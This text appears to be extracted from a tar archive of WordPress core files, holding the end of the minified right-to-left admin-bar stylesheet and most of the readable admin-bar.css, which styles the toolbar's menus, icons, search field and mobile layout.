.quicklinks li .blavatar:before{content:"\f120";height:16px;width:16px;display:inline-block;margin:0 -2px 2px 8px}#wpadminbar #wp-admin-bar-appearance{margin-top:-12px}#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f541";top:2px}#wpadminbar #wp-admin-bar-customize>.ab-item:before{content:"\f540";top:2px}#wpadminbar #wp-admin-bar-edit>.ab-item:before{content:"\f464";top:2px}#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f226"}.wp-admin #wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f102"}#wpadminbar #wp-admin-bar-comments .ab-icon{margin-left:6px}#wpadminbar #wp-admin-bar-comments .ab-icon:before{content:"\f101";top:3px}#wpadminbar #wp-admin-bar-comments .count-0{opacity:.5}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{content:"\f132";top:4px}#wpadminbar #wp-admin-bar-updates .ab-icon:before{content:"\f463";top:2px}#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{display:inline-block;animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{animation:none}}#wpadminbar #wp-admin-bar-search .ab-item{padding:0;background:0 0}#wpadminbar #adminbarsearch{position:relative;height:32px;padding:0 2px;z-index:1}#wpadminbar #adminbarsearch:before{position:absolute;top:6px;right:5px;z-index:20;font:normal 20px/1 dashicons!important;content:"\f179";speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input{display:inline-block;float:none;position:relative;z-index:30;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.84615384;text-indent:0;height:24px;width:24px;max-width:none;padding:0 24px 0 3px;margin:0;color:#c3c4c7;background-color:rgba(255,255,255,0);border:none;outline:0;cursor:pointer;box-shadow:none;box-sizing:border-box;transition-duration:.4s;transition-property:width,background;transition-timing-function:ease}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{z-index:10;color:#000;width:200px;background-color:rgba(255,255,255,.9);cursor:text;border:0}#wpadminbar #adminbarsearch .adminbar-button{display:none}.customize-support #wpadminbar .hide-if-customize,.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support #wpadminbar .hide-if-no-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#wpadminbar .screen-reader-text,#wpadminbar .screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .screen-reader-shortcut{position:absolute;top:-1000em}#wpadminbar .screen-reader-shortcut:focus{right:6px;top:7px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal;text-decoration:none;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}@media screen and (max-width:782px){html #wpadminbar{height:46px;min-width:240px}#wpadminbar *{font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.28571428}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks>ul>li>a{padding:0;height:46px;line-height:3.28571428;width:auto}#wpadminbar .ab-icon{font:40px/1 dashicons!important;margin:0;padding:0;width:52px;height:46px;text-align:center}#wpadminbar .ab-icon:before{text-align:center}#wpadminbar .ab-submenu{padding:0}#wpadminbar #wp-admin-bar-my-account a.ab-item,#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{text-overflow:clip}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:1.6}#wpadminbar .ab-label{display:none}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-top:-46px}#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop>.ab-item{padding-left:30px}#wpadminbar .menupop .menupop>.ab-item:before{top:10px;left:6px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper .ab-item{font-size:16px;padding:8px 16px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper a:empty{display:none}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{padding:0;width:52px;height:46px;text-align:center;vertical-align:top}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{font:28px/1 dashicons!important;top:-3px}#wpadminbar .ab-icon,#wpadminbar .ab-item:before{padding:0}#wpadminbar #wp-admin-bar-customize>.ab-item,#wpadminbar #wp-admin-bar-edit>.ab-item,#wpadminbar #wp-admin-bar-my-account>.ab-item,#wpadminbar #wp-admin-bar-my-sites>.ab-item,#wpadminbar #wp-admin-bar-site-name>.ab-item{text-indent:100%;white-space:nowrap;overflow:hidden;width:52px;padding:0;color:#a7aaad;position:relative}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon{padding:0;margin-left:0}#wpadminbar #wp-admin-bar-customize>.ab-item:before,#wpadminbar #wp-admin-bar-edit>.ab-item:before,#wpadminbar #wp-admin-bar-my-account>.ab-item:before,#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{display:block;text-indent:0;font:normal 32px/1 dashicons;speak:never;top:7px;width:52px;text-align:center;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar #wp-admin-bar-appearance{margin-top:0}#wpadminbar .quicklinks li .blavatar:before{display:none}#wpadminbar #wp-admin-bar-search{display:none}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{top:0;line-height:1.33333333;height:46px!important;text-align:center;width:52px;display:block}#wpadminbar #wp-admin-bar-updates{text-align:center}#wpadminbar #wp-admin-bar-updates .ab-icon:before{top:3px}#wpadminbar #wp-admin-bar-comments .ab-icon{margin:0}#wpadminbar #wp-admin-bar-comments .ab-icon:before{display:block;font-size:34px;height:46px;line-height:1.38235294;top:0}#wpadminbar #wp-admin-bar-my-account>a{position:relative;white-space:nowrap;text-indent:150%;width:28px;padding:0 10px;overflow:hidden}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{position:absolute;top:13px;left:10px;width:26px;height:26px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:0}#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar{display:none}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin:0}#wpadminbar #wp-admin-bar-user-info .display-name{height:auto;font-size:16px;line-height:1.5;color:#f0f0f1}#wpadminbar #wp-admin-bar-user-info a{padding-top:4px}#wpadminbar #wp-admin-bar-user-info .username{line-height:.8!important;margin-bottom:-2px}#wp-toolbar>ul>li{display:none}#wpadminbar li#wp-admin-bar-comments,#wpadminbar li#wp-admin-bar-customize,#wpadminbar li#wp-admin-bar-edit,#wpadminbar li#wp-admin-bar-menu-toggle,#wpadminbar li#wp-admin-bar-my-account,#wpadminbar li#wp-admin-bar-my-sites,#wpadminbar li#wp-admin-bar-new-content,#wpadminbar li#wp-admin-bar-site-name,#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:block}#wpadminbar li.hover ul li,#wpadminbar li:hover ul li,#wpadminbar li:hover ul li:hover ul li{display:list-item}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content}#wpadminbar ul#wp-admin-bar-root-default>li{margin-left:0}#wpadminbar #wp-admin-bar-comments,#wpadminbar #wp-admin-bar-edit,#wpadminbar #wp-admin-bar-my-account,#wpadminbar #wp-admin-bar-my-sites,#wpadminbar #wp-admin-bar-new-content,#wpadminbar #wp-admin-bar-site-name,#wpadminbar #wp-admin-bar-updates,#wpadminbar #wp-admin-bar-wp-logo,#wpadminbar .ab-top-menu,#wpadminbar .ab-top-secondary{position:static}#wpadminbar #wp-admin-bar-my-account{float:left}.network-admin #wpadminbar ul#wp-admin-bar-top-secondary>li#wp-admin-bar-my-account{margin-left:0}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before{top:10px;right:0}}@media screen and (max-width:600px){#wpadminbar{position:absolute}#wp-responsive-overlay{position:fixed;top:0;right:0;width:100%;height:100%;z-index:400}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{width:100%;right:0}#wpadminbar .menupop .menupop>.ab-item:before{display:none}#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper{margin-right:0}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{margin:0;width:100%;top:auto;right:auto;position:relative}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper .ab-item{font-size:16px;padding:6px 30px 19px 15px}#wpadminbar li:hover ul li ul li{display:list-item}#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:none}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{position:static;box-shadow:none}}@media screen and (max-width:400px){#wpadminbar li#wp-admin-bar-comments{display:none}}css/admin-bar.css000064400000056504151202620300007701 0ustar00#wpadminbar * { height: auto; width: auto; margin: 0; padding: 0; position: static; text-shadow: none; text-transform: none; letter-spacing: normal; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; border-radius: 0; box-sizing: content-box; transition: none; -webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */ -moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */ } .rtl #wpadminbar * { font-family: Tahoma, sans-serif; } html:lang(he-il) .rtl #wpadminbar * { font-family: Arial, sans-serif; } #wpadminbar .ab-empty-item { cursor: default; } #wpadminbar .ab-empty-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #f0f0f1; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item { white-space: nowrap; } #wpadminbar ul li:before, #wpadminbar ul li:after { content: normal; } #wpadminbar a, #wpadminbar a:hover, #wpadminbar a img, #wpadminbar a img:hover { border: none; text-decoration: none; background: none; } #wpadminbar a:focus, #wpadminbar a:active, #wpadminbar input[type="text"], #wpadminbar input[type="password"], #wpadminbar input[type="number"], #wpadminbar input[type="search"], #wpadminbar input[type="email"], #wpadminbar input[type="url"], #wpadminbar select, #wpadminbar textarea, #wpadminbar div { box-shadow: none; } #wpadminbar a:focus { /* Inherits transparent outline only visible in Windows High Contrast mode */ outline-offset: -1px; } #wpadminbar { direction: ltr; color: #c3c4c7; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; height: 32px; position: fixed; top: 0; left: 0; width: 100%; min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */ z-index: 99999; background: #1d2327; } #wpadminbar .ab-sub-wrapper, #wpadminbar ul, #wpadminbar ul li { background: none; clear: none; list-style: none; margin: 0; padding: 0; position: relative; text-indent: 0; z-index: 99999; } #wpadminbar ul#wp-admin-bar-root-default>li { margin-right: 0; } #wpadminbar .quicklinks ul { text-align: left; } #wpadminbar li { float: left; } #wpadminbar .ab-empty-item { outline: none; } #wpadminbar .quicklinks .ab-top-secondary > li { float: right; } #wpadminbar .quicklinks a, #wpadminbar .quicklinks .ab-empty-item, #wpadminbar .shortlink-input { height: 32px; display: block; padding: 0 10px; margin: 0; } #wpadminbar .quicklinks > ul > li > a { padding: 0 8px 0 7px; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0; padding: 0; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); background: #2c3338; display: none; position: absolute; float: none; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: 100%; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { right: 0; left: auto; } #wpadminbar .ab-submenu { padding: 6px 0; } #wpadminbar .selected .shortlink-input { display: block; } #wpadminbar .quicklinks .menupop ul li { float: none; } #wpadminbar .quicklinks .menupop ul li a strong { font-weight: 600; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 2; height: 26px; white-space: nowrap; min-width: 140px; } #wpadminbar .shortlink-input { width: 200px; } #wpadminbar.nojs li:hover > .ab-sub-wrapper, #wpadminbar li.hover > .ab-sub-wrapper { display: block; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-left: 100%; margin-top: -32px; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-left: 0; left: inherit; right: 100%; } #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar .ab-top-menu > li.hover > .ab-item { background: #2c3338; color: #72aee6; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #72aee6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before, .wp-admin-bar-arrow { position: relative; float: left; font: normal 20px/1 dashicons; speak: never; padding: 4px 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; background-image: none !important; margin-right: 6px; } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { position: relative; transition: all .1s ease-in-out; } #wpadminbar .ab-label { display: inline-block; height: 32px; } #wpadminbar .ab-submenu .ab-item { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #72aee6; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #c3c4c7; } #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #72aee6; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before, #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { position: absolute; font: normal 17px/1 dashicons; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar .menupop .menupop > .ab-item { display: block; padding-right: 2em; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; right: 10px; padding: 4px 0; content: "\f139"; color: inherit; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { padding-left: 2em; padding-right: 1em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; left: 6px; content: "\f141"; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { display: block; position: relative; right: auto; margin: 0; box-shadow: none; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: #3c434a; } #wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a { color: #72aee6; } #wpadminbar .quicklinks a span#ab-updates { background: #f0f0f1; color: #2c3338; display: inline; padding: 2px 5px; font-size: 10px; font-weight: 600; border-radius: 10px; } #wpadminbar .quicklinks a:hover span#ab-updates { background: #fff; color: #000; } #wpadminbar .ab-top-secondary { float: right; } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { box-shadow: none; } /** * Recovery Mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d63638; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: #d63638; } /** * My Account */ #wp-admin-bar-my-account > ul { min-width: 198px; } #wp-admin-bar-my-account > .ab-item:before { content: "\f110"; top: 2px; float: right; margin-left: 6px; margin-right: 0; } #wp-admin-bar-my-account.with-avatar > .ab-item:before { display: none; content: none; } #wp-admin-bar-my-account.with-avatar > ul { min-width: 270px; } #wpadminbar #wp-admin-bar-user-actions > li { margin-left: 16px; margin-right: 16px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 6px 0 12px; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-left: 88px; } #wpadminbar #wp-admin-bar-user-info { margin-top: 6px; margin-bottom: 15px; height: auto; background: none; } #wp-admin-bar-user-info .avatar { position: absolute; left: -72px; top: 4px; width: 64px; height: 64px; } #wpadminbar #wp-admin-bar-user-info a { background: none; height: auto; } #wpadminbar #wp-admin-bar-user-info span { background: none; padding: 0; height: 18px; } #wpadminbar #wp-admin-bar-user-info .display-name, #wpadminbar #wp-admin-bar-user-info .username { display: block; } #wpadminbar #wp-admin-bar-user-info .username { color: #a7aaad; font-size: 11px; } #wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img, #wpadminbar #wp-admin-bar-my-account.with-avatar > a img { width: auto; height: 16px; padding: 0; border: 1px solid #8c8f94; background: #f0f0f1; line-height: 1.84615384; vertical-align: middle; margin: -4px 0 0 6px; float: none; display: inline; } /** * WP Logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { width: 15px; height: 20px; margin-right: 0; padding: 6px 0 5px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0 7px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { content: "\f120"; top: 2px; } /* * My Sites & Site Title */ #wpadminbar .quicklinks li .blavatar { display: inline-block; vertical-align: middle; font: normal 16px/1 dashicons !important; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #f0f0f1; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar { color: #72aee6; } #wpadminbar .quicklinks li .blavatar:before { content: "\f120"; height: 16px; width: 16px; display: inline-block; margin: 0 8px 2px -2px; } #wpadminbar #wp-admin-bar-appearance { margin-top: -12px; } #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f541"; top: 2px; } #wpadminbar #wp-admin-bar-customize > .ab-item:before { content: "\f540"; top: 2px; } #wpadminbar #wp-admin-bar-edit > .ab-item:before { content: "\f464"; top: 2px; } #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f226"; } .wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f102"; } /** * Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin-right: 6px; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { content: "\f101"; top: 3px; } #wpadminbar #wp-admin-bar-comments .count-0 { opacity: .5; } /** * New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { content: "\f132"; top: 4px; } /** * Updates */ #wpadminbar #wp-admin-bar-updates .ab-icon:before { content: "\f463"; top: 2px; } #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { display: inline-block; animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { animation: none; } } /** * Search */ #wpadminbar #wp-admin-bar-search .ab-item { padding: 0; background: transparent; } #wpadminbar #adminbarsearch { position: relative; height: 32px; padding: 0 2px; z-index: 1; } #wpadminbar #adminbarsearch:before { position: absolute; top: 6px; left: 5px; z-index: 20; font: normal 20px/1 dashicons !important; content: "\f179"; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */ #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input { display: inline-block; float: none; position: relative; z-index: 30; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.84615384; text-indent: 0; height: 24px; width: 24px; max-width: none; padding: 0 3px 0 24px; margin: 0; color: #c3c4c7; background-color: rgba(255, 255, 255, 0); border: none; outline: none; cursor: pointer; box-shadow: none; box-sizing: border-box; transition-duration: 400ms; transition-property: width, background; transition-timing-function: ease; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { z-index: 10; color: #000; width: 200px; background-color: rgba(255, 255, 255, 0.9); cursor: text; border: 0; } #wpadminbar #adminbarsearch .adminbar-button { display: none; } /** * Customize support classes */ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support #wpadminbar .hide-if-no-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support #wpadminbar .hide-if-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } /* Skip link */ #wpadminbar .screen-reader-text, #wpadminbar .screen-reader-text span { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .screen-reader-shortcut { position: absolute; top: -1000em; } #wpadminbar .screen-reader-shortcut:focus { left: 6px; top: 7px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; background: #f0f0f1; color: #2271b1; z-index: 100000; line-height: normal; text-decoration: none; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); } @media screen and (max-width: 782px) { /* Toolbar Touchification*/ html #wpadminbar { height: 46px; min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */ } #wpadminbar * { font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.28571428; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks .ab-empty-item { padding: 0; height: 46px; line-height: 3.28571428; width: auto; } #wpadminbar .ab-icon { font: 40px/1 dashicons !important; margin: 0; padding: 0; width: 52px; height: 46px; text-align: center; } #wpadminbar .ab-icon:before { text-align: center; } #wpadminbar .ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item, #wpadminbar #wp-admin-bar-my-account a.ab-item { text-overflow: clip; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 1.6; } #wpadminbar .ab-label { display: none; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-top: -46px; } #wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item { padding-right: 30px; } #wpadminbar .menupop .menupop > .ab-item:before { top: 10px; right: 6px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 8px 16px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty { display: none; } /* WP logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { padding: 0; width: 52px; height: 46px; text-align: center; vertical-align: top; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { font: 28px/1 dashicons !important; top: -3px; } #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; } /* My Sites and "Site Title" menu */ #wpadminbar #wp-admin-bar-my-sites > .ab-item, #wpadminbar #wp-admin-bar-site-name > .ab-item, #wpadminbar #wp-admin-bar-customize > .ab-item, #wpadminbar #wp-admin-bar-edit > .ab-item, #wpadminbar #wp-admin-bar-my-account > .ab-item { text-indent: 100%; white-space: nowrap; overflow: hidden; width: 52px; padding: 0; color: #a7aaad; /* @todo not needed? this text is hidden */ position: relative; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; margin-right: 0; } #wpadminbar #wp-admin-bar-edit > .ab-item:before, #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before, #wpadminbar #wp-admin-bar-customize > .ab-item:before, #wpadminbar #wp-admin-bar-my-account > .ab-item:before { display: block; text-indent: 0; font: normal 32px/1 dashicons; speak: never; top: 7px; width: 52px; text-align: center; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar #wp-admin-bar-appearance { margin-top: 0; } #wpadminbar .quicklinks li .blavatar:before { display: none; } /* Search */ #wpadminbar #wp-admin-bar-search { display: none; } /* New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { top: 0; line-height: 1.33333333; height: 46px !important; text-align: center; width: 52px; display: block; } /* Updates */ #wpadminbar #wp-admin-bar-updates { text-align: center; } #wpadminbar #wp-admin-bar-updates .ab-icon:before { top: 3px; } /* Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin: 0; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { display: block; font-size: 34px; height: 46px; line-height: 1.38235294; top: 0; } /* My Account */ #wpadminbar #wp-admin-bar-my-account > a { position: relative; white-space: nowrap; text-indent: 150%; /* More than 100% indention is needed since this element has padding */ width: 28px; padding: 0 10px; overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */ } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { position: absolute; top: 13px; right: 10px; width: 26px; height: 26px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar { display: none; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin: 0; } #wpadminbar #wp-admin-bar-user-info .display-name { height: auto; font-size: 16px; line-height: 1.5; color: #f0f0f1; } #wpadminbar #wp-admin-bar-user-info a { padding-top: 4px; } #wpadminbar #wp-admin-bar-user-info .username { line-height: 0.8 !important; margin-bottom: -2px; } /* Show only default top level items */ #wp-toolbar > ul > li { display: none; } #wpadminbar 